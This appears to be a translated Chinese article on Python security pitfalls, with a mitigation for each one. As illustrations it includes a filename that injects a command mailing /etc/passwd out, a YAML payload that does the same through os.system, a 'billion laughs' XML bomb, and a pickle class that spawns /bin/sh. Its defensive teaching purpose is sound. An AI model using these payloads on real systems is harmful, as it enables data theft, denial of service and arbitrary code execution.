注入攻擊非常廣泛而且很常見,注入有很多種類。它們可以影響語言,框架和環境。
SQL注入是直接編寫SQL查詢,而不使用ORM並將字符串文字與變量混合。「Escaping quotes」被認為是一種修復,但事實並非如此。 熟悉SQL注入可能發生在備忘單上的所有複雜方式。
命令注入可以在任何時候使用popen,subprocess,os.system調用一個進程並從變量中獲取參數。 當調用本地命令時,有人可能會惡意設置某些值。
看一下這個簡單的腳本[credit]。 你可以使用用戶提供的文件名稱調用子進程:
import subprocess
def transcode_file(request, filename):
command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
subprocess.call(command, shell=True) # a bad idea!
攻擊者將filename的值設置為「; cat / etc / passwd | mail them@domain.com或者其他同樣危險的東西。
解決方法:
如果使用的是Web框架附帶的實用程序,請對輸入進行清理。 除非你有充分的理由,否則不要手動構建SQL查詢。 大多數ORM具有內置清理方法。
對於shell,請使用shlex模塊正確地轉義輸入。
如果你的應用程式加載並分析XML文件,那你可能正在使用XML標準庫模塊之一。 有通過XML的一些常見攻擊。 大多數是DoS風格(旨在使系統崩潰而不是洩露數據)。 這些攻擊很常見,特別是在解析外部(即不可信任的)XML文件時。
其中之一被稱為「billion laughs」,因為有效載荷通常包含很多(十億)「lols」。 你可以用XML來完成引用,所以當XML解析器試圖將這個XML文件加載到內存中時,它會消耗千兆字節的RAM。
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
另一個攻擊使用外部實體擴展。 XML支持從外部URL引用實體,XML解析器通常會毫無疑問地獲取並加載該資源。「攻擊者可以規避防火牆並訪問受限制的資源,因為所有請求都是由內部可信的IP位址創建的,而不是來自外部。」
需要考慮的另一種情況是要依賴於解碼XML的第三方軟體包,例如配置文件,遠程API。
那麼在Python中會發生什麼?標準庫模塊,etree,DOM,xmlrpc都可以廣泛應用於這些類型的攻擊。
使用defusedxml作為標準庫模塊的直接替換。 它增加了針對這些類型攻擊的安全防護。
不要使用assert語句來防止用戶不應訪問的代碼段。 舉一個簡單的例子:
def foo(request, user):
assert user.is_admin, 「user does not have access」
# secure code...
默認情況下,Python以__debug__來執行,但在生產環境中,通常使用優化運行。 這將跳過assert語句並直接轉到安全代碼,而不管用戶是否是is_admin。
解決辦法:
只能使用assert語句與其他開發人員進行通信,比如在單元測試中或為防止使用不正確的API。
時序攻擊是一種側信道攻擊,攻擊者試圖通過分析加密算法的時間執行來推導出密碼。每一個邏輯運算在計算機需要時間來執行,根據輸入不同,精確測量執行時間,根據執行時間反推出密碼。 時序攻擊需要精確性,所以它們通常不能用於高延遲的遠程網絡。 由於大多數Web應用程式涉及可變延遲,因此幾乎不可能在HTTP Web伺服器上編寫時序攻擊。
但是,如果你有提示輸入密碼的命令行應用程式,則攻擊者可以編寫一個簡單的腳本來計算將其值與實際密碼進行比較所需的時間。
用Python編寫的基於SSH的時序攻擊——https://github.com/c0r3dump3d/osueta
解決辦法:
使用secrets.compare_digest,引入Python 3.5(https://docs.python.org/3/library/secrets.html#secrets.compare_digest)來比較密碼和其他private值。
將第三方軟體包安裝到站點軟體包中,無論是在虛擬環境中還是在全球站點軟體包(通常不鼓勵)中,都會暴露在這些軟體包中的安全漏洞。
需要考慮的另一種情況是依賴關係。他們也可能包含漏洞,通過導入系統覆蓋Python中的默認行為。
解決方法:
看看PyUp.io及其安全服務。 為所有應用程式使用虛擬環境,並確保你的全球站點包儘可能乾淨。檢查軟體包的籤名。
要在Python中創建臨時文件,通常使用mktemp()函數生成一個文件名,然後使用該名稱創建一個文件。「這是不安全的,因為不同的進程可能會在調用mktemp()和隨後嘗試通過第一個進程創建文件之間的時間內創建一個具有此名稱的文件。」這意味著它可能會欺騙應用程式加載錯誤的數據或暴露其他臨時數據。
解決辦法:
如果需要生成臨時文件,請使用tempfile模塊和mkstemp。
引用PyYAML文檔:
使用從不可信源接收到的任何數據調用yaml.load是不安全的!
yaml.load和pickle.load一樣強大,所以可以調用任何Python函數。
Talos漏洞報告。你可以將此值作為(有效)YAML提供給Ansible Vault。 它使用文件中提供的參數調用os.system()。
!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]
所以,從用戶提供的值中加載YAML文件會暴露在攻擊中。
解決辦法:
使用yaml.safe_load。
反序列化pickle數據和YAML一樣糟糕。 Python類可以命名一個__reduce__方法,該方法返回一個字符串,或一個可調用的元組以及在pickling調用的參數。攻擊者可以使用它來攻擊者可以使用它來引用其中一個子進程模塊,以在主機上運行任意命令。
https://blog.nelhage.com/2011/03/exploiting-pickle/
import cPickle
import subprocess
import base64
class RunBinSh(object):
def __reduce__(self):
return (subprocess.Popen, (('/bin/sh',),))
print base64.b64encode(cPickle.dumps(RunBinSh()))
解決辦法:
切勿取消不受信任或未經身份驗證的來源的數據。 改用另一種序列化模式,如JSON。
大多數POSIX系統都帶有一個Python 2版本。通常是舊版本。
由於「Python」(即用C語言編寫的CPython),有時候Python解釋器本身存在漏洞。 C中的常見安全問題與內存分配有關,所以緩衝區溢出錯誤。
CPython出現了一些溢出漏洞,每個漏洞都在後續版本中進行了修補和修復。
解決辦法:
為你的生產應用程式安裝最新版本的Python,並對其進行修補!
解決辦法:使用像http://PyUp.io這樣的服務來檢查更新,向應用程式提出pull / merge請求,並運行測試保持軟體包是最新的。
使用InSpec這樣的工具來驗證生產環境中的安裝版本,並確保修補最小版本或版本範圍。